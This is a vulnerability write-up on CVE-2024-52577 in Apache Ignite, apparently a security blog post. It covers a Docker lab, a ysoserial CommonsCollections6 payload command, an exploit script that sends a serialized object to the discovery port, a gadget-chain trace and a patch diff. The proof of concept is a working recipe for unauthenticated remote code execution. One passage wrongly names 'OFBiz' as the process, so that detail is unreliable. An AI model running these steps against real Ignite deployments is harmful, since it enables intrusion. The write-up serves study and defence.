Enterprise distributed computing platforms are high-value targets. When a framework trusted to manage terabytes of in-memory data across hundreds of nodes silently accepts arbitrary serialized objects from the network, the result is not a theoretical risk — it is unauthenticated remote code execution at the infrastructure layer. CVE-2024-52577 is exactly that scenario. A flaw in Apache Ignite’s internal marshalling subsystem allows an unauthenticated attacker to send a crafted Java serialized payload to the TCP Discovery SPI listener, which is deserialized without any class-filtering or type validation. Combined with a gadget chain from a bundled dependency (commons-collections-3.2.1), this yields full Remote Code Execution as the Ignite process user — no credentials, no prior access, no cluster membership required. The attack surface is reachable from the network by default, making this a critical finding for any exposed Ignite deployment.
What is Apache Ignite?
Apache Ignite is an open-source distributed database, caching, and processing platform designed for high-performance, transactionally consistent operations across large-scale clusters. It provides an in-memory data grid, SQL query engine, compute grid, and machine learning capabilities. Organizations deploy Ignite to accelerate applications that require low-latency access to large datasets — financial trading systems, fraud detection pipelines, IoT telemetry platforms, and real-time analytics engines. Ignite nodes communicate over TCP using a binary protocol for cluster discovery (port 47500), inter-node communication (port 47100), and thin-client access (port 10800). Its architecture relies heavily on Java serialization for internal object transport, which is where this vulnerability originates.
Building the Lab
To reproduce this vulnerability safely, we build an isolated Docker environment running Apache Ignite 2.16.0 with commons-collections-3.2.1 on the classpath — the exact conditions required for the CommonsCollections6 gadget chain to fire.
Dockerfile
FROM apacheignite/ignite:2.16.0
# Add commons-collections 3.2.1 to the Ignite classpath.
# This library is commonly found in real-world Ignite deployments via Spring,
# custom extensions, or application dependencies bundled alongside Ignite.
# Version 3.2.1 is used because 3.2.2 added serialization restrictions
# that block the CommonsCollections gadget chain.
ADD https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar \
/opt/ignite/apache-ignite/libs/commons-collections-3.2.1.jar
docker-compose.yml
services:
ignite:
build: .
container_name: ignite-vuln
ports:
- "47100:47100"
- "47500:47500"
- "10800:10800"
- "8181:8080"
environment:
- IGNITE_QUIET=false
Start the Lab
cd CVE-2024-52577/lab
docker compose up -d
Wait ~30 seconds for Ignite to initialise, then verify the cluster came up cleanly:
docker logs ignite-vuln 2>&1 | grep "Topology snapshot"
# Expected: [INFO ][...] Topology snapshot [ver=1, ... , servers=1, clients=0, ...]

PoC (Proof of Concept)
With the lab running, we now generate a payload and trigger remote code execution. The PoC uses the CommonsCollections6 gadget chain because all required classes (InvokerTransformer, TiedMapEntry, LazyMap, ChainedTransformer) ship with commons-collections-3.2.1.jar on the Ignite classpath.
Payload Generation with ysoserial
ysoserial-all.jar is included in the exploit/ folder. We generate a serialized object that, when deserialized, calls Runtime.exec(“touch /tmp/pwned”):
cd CVE-2024-52577/exploit
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/pwned' > payload.bin
# Verify the payload starts with the Java serialization magic (0xACED0005)
xxd payload.bin | head -2
# 00000000: aced 0005 7372 0011 6a61 7661 2e75 7469 ....sr..java.uti
# 00000010: 6c2e 4861 7368 5365 74ba 4485 9596 b8b7 l.HashSet.D.....
Run the Exploit
A pre-built payload.bin is shipped with the PoC; the CVE-2024-52577.py script handles the Ignite handshake and delivery:
python3 CVE-2024-52577.py -t localhost -p payload.bin

The exploit performs four actions:
- Connects to `localhost:47500
- Sends the Ignite magic header (0x00004747).
- Reads the server handshake response.
- Sends the serialized HashSet payload — which triggers the CommonsCollections6 chain inside ObjectInputStream.readObject().
Verify Code Execution
The deserialization throws a ClassCastException (the deserialized object is not a TcpDiscoveryAbstractMessage), but the command runs before the cast. Confirm execution:
docker exec ignite-vuln ls -la /tmp/pwned
# -rw-r--r-- 1 root root 0 ... /tmp/pwned

Attack Flow

The core issue is that over 30 code paths within Apache Ignite instantiate JdkMarshaller using its default constructor, which creates an ObjectInputStream with no deserialization filter applied. When a remote TCP connection sends data to the Discovery SPI listener on port 47500, the SocketReader component passes the incoming byte stream through U.unmarshal(), which dispatches to JdkMarshaller.unmarshal0(). This method calls ObjectInputStream.readObject() directly, accepting any serializable class present on the classpath. Because Apache Ignite bundles commons-collections-3.2.1, an attacker can construct a CommonsCollections6 gadget chain payload and deliver it over a raw TCP socket. The server deserializes the payload without authentication, without class allow-listing, and without any integrity check, resulting in arbitrary command execution under the Ignite process identity.
The Execution Trace of CommonsCollections6

The payload ships a HashSet whose backing HashMap holds one TiedMapEntry as a key. When HashSet.readObject() rebuilds the map, HashMap.put() computes the key’s hashCode, which forces TiedMapEntry.hashCode() to call getValue() on a backing LazyMap, and LazyMap.get() invokes its factory because the key is not cached. The factory is a ChainedTransformer that pipes the input through four transformers in order: ConstantTransformer returns Runtime.class, InvokerTransformer(“getMethod”) returns a handle to Runtime.getRuntime, InvokerTransformer(“invoke”) returns the Runtime singleton, and InvokerTransformer(“exec”) finally calls Runtime.exec(cmd) on it. By the time ChainedTransformer.transform() returns, the command has already executed under the OFBiz process user. ObjectInputStream then hands the deserialized HashSet to U.unmarshal(), which casts it to TcpDiscoveryAbstractMessage and throws — but the exec call has already fired, so the ClassCastException in the log is the aftermath, not the cause.
Static Analysis
Why a Filter Constructor Already Existed — The Backstory
JdkMarshaller is older than Java’s standard deserialization filtering. Java only introduced JEP 290 (java.io.ObjectInputFilter) in JDK 9, providing a first-class API to reject classes before they’re constructed. Ignite originally adopted JEP 290 via Ignite’s own filter abstraction (IgniteSystemProperties.getDeserializationFilter()), and added a JdkMarshaller(filter) constructor to plumb that filter into every marshalling stream. The vulnerability is not that the filter doesn’t exist — it does — but that only some call sites were ever migrated to the filter-aware constructor. The default constructor was kept “for backwards compatibility” and quietly became the default again across 30+ subsystems.
This pattern — a security feature added via additive API instead of by replacing the default — is a recurring root cause in CVE history (FasterXML Jackson’s enableDefaultTyping, Apache Dubbo’s Hessian2, OpenJDK’s RMI registry, …). The lesson: a “safe constructor” added next to an “unsafe constructor” is rarely a safe library.
The JdkMarshaller Class — Two Constructors, One Default Disaster

// modules/core/src/main/java/org/apache/ignite/marshaller/jdk/JdkMarshaller.java
public class JdkMarshaller extends AbstractNodeNameAwareMarshaller {
private final ClassNameFilter clsFilter;
// DEFAULT CONSTRUCTOR — used by 30+ subsystems
public JdkMarshaller() {
this(null); // null filter -> no filtering at all
}
// FILTER-AWARE CONSTRUCTOR — used by some newer subsystems
public JdkMarshaller(ClassNameFilter clsFilter) {
this.clsFilter = clsFilter;
}
@Override protected <T> T unmarshal0(InputStream in, @Nullable ClassLoader clsLdr)
throws IgniteCheckedException {
try (ObjectInputStream objIn = new JdkMarshallerObjectInputStream(
new JdkMarshallerInputStreamWrapper(in),
clsLdr == null ? gridClassLoader : clsLdr,
clsFilter)) // null filter when default ctor was used
{
return (T)objIn.readObject(); // <-- unrestricted readObject()
} catch (ClassNotFoundException | IOException e) {
throw new IgniteCheckedException(
"Failed to deserialize object with given class loader: " + clsLdr, e);
}
}
}
The crucial subtlety: clsFilter == null is treated as “no filter,” not as “use the default filter.” JdkMarshallerObjectInputStream skips its resolveClass() guard entirely when the filter reference is null, which makes the default constructor strictly more permissive than the filter-aware one.
The exact line numbers below correspond to the ServerImpl.java from the lab image (apacheignite/ignite:2.16.0); the stack trace observed during the live exploit run is annotated as well.
// ServerImpl.java -- discovery TCP listener
class ServerImpl {
// 1) ServerSocket bound to 0.0.0.0:47500 in #spiStart()
private ServerSocket srvrSock = new ServerSocket(47500, 0, locAddr);
// 2) Each accept() spawns a SocketReader thread (one per peer connection)
class SocketReader extends IgniteSpiThread {
@Override protected void body() throws InterruptedException {
InputStream in = sock.getInputStream();
// 3) Magic-header read: 4 bytes, must equal 0x00004747 ("GG")
// If wrong: connection is dropped with the log line we saw:
// "Failed to read magic header (too few bytes received)"
byte[] hdr = U.readFully(in, 4);
// 4) Unmarshal everything after the header as a TcpDiscoveryAbstractMessage
try {
TcpDiscoveryAbstractMessage msg = U.unmarshal(marsh, in, null);
// ^^^^^
// marsh = new JdkMarshaller() ← the bug
// The deserialized object MUST be a TcpDiscoveryAbstractMessage
// — but the cast happens AFTER readObject() returns, so any class
// on the classpath gets instantiated first. The exception we saw
// (ClassCastException: HashSet → TcpDiscoveryAbstractMessage)
// is thrown post-RCE.
} catch (Exception e) {
LT.error(log, e, "Runtime error caught during grid runnable execution");
// Stack trace in container log:
// java.lang.ClassCastException: java.util.HashSet cannot be cast
// to TcpDiscoveryAbstractMessage
// at ServerImpl$SocketReader.body(ServerImpl.java:6763)
}
}
}
}
The cast at line 6763 is structurally too late: by the time the JVM is checking whether HashSet instanceof TcpDiscoveryAbstractMessage, the HashSet.readObject() method has already executed — and inside that readObject(), the gadget chain has already called Runtime.exec(cmd). The exception that fires next is a tombstone on a corpse.
Patch Diffing
PR #11642 — 58 Files Changed
The fix was delivered in Pull Request #11642 against the Apache Ignite repository, which modified 58 files across the codebase. The scope of the change reflects the severity of the problem: every location that instantiated JdkMarshaller without a filter had to be updated.
Before (Vulnerable — 2.16.x and Earlier)
// TcpDiscoverySpi.java — BEFORE FIX
/** Marshaller. */
private final JdkMarshaller marsh = new JdkMarshaller();
// ^^^^^^^^^^^^^^^^^
// Default constructor: no deserialization filter applied.
// ObjectInputStream.readObject() accepts ANY serializable class.
// GridDiscoveryManager.java — BEFORE FIX
/** JDK marshaller. */
private final JdkMarshaller marsh = new JdkMarshaller();
// Same problem — unfiltered deserialization across all usage sites.
After (Fixed — 2.17.0)
// TcpDiscoverySpi.java — AFTER FIX
/** Marshaller. */
private final JdkMarshaller marsh = new JdkMarshaller(
IgniteSystemProperties.getDeserializationFilter()
);
// Filter-aware constructor: applies a class allow-list / deny-list
// during ObjectInputStream.readObject(). Blocks unknown classes
// BEFORE they are instantiated.
// GridDiscoveryManager.java — AFTER FIX
/** JDK marshaller. */
private final JdkMarshaller marsh = new JdkMarshaller(
IgniteSystemProperties.getDeserializationFilter()
);

Why This Fix Works
The fix is effective for three reasons:
- Filter enforcement at the stream level. The DeserializationFilter is applied to the ObjectInputStream before readObject() is called. When the stream encounters a class descriptor for org.apache.commons.collections.functors.InvokerTransformer (or any other gadget class), the filter rejects it and throws an InvalidClassException — the object is never instantiated.
- Comprehensive coverage. By modifying all 58 files containing new JdkMarshaller() calls, the patch eliminates every unfiltered entry point, not just the Discovery SPI path. This prevents attackers from pivoting to alternative deserialization sinks within the same codebase.
- Defense in depth with allow-listing. The filter operates on an allow-list basis for Ignite’s internal types. Even if a new gadget chain is discovered in a bundled library, it will be blocked unless its classes are explicitly permitted by the filter configuration.
Conclusion
CVE-2024-52577 is a textbook example of what happens when a security feature exists in a codebase but is not applied consistently. Apache Ignite had a filter-aware JdkMarshaller constructor available, yet 30+ call sites used the default no-filter constructor instead. The fix was not the invention of a new defence — it was the systematic enforcement of one that already existed. For defenders, this is a reminder that auditing should focus on every instantiation of dangerous classes (ObjectInputStream subclasses, JdkMarshaller, etc.), not just the presence of safety mechanisms. For developers, it underscores why secure defaults matter: a constructor that quietly omits a filter is an invitation to a 58-file refactor under CVE pressure.


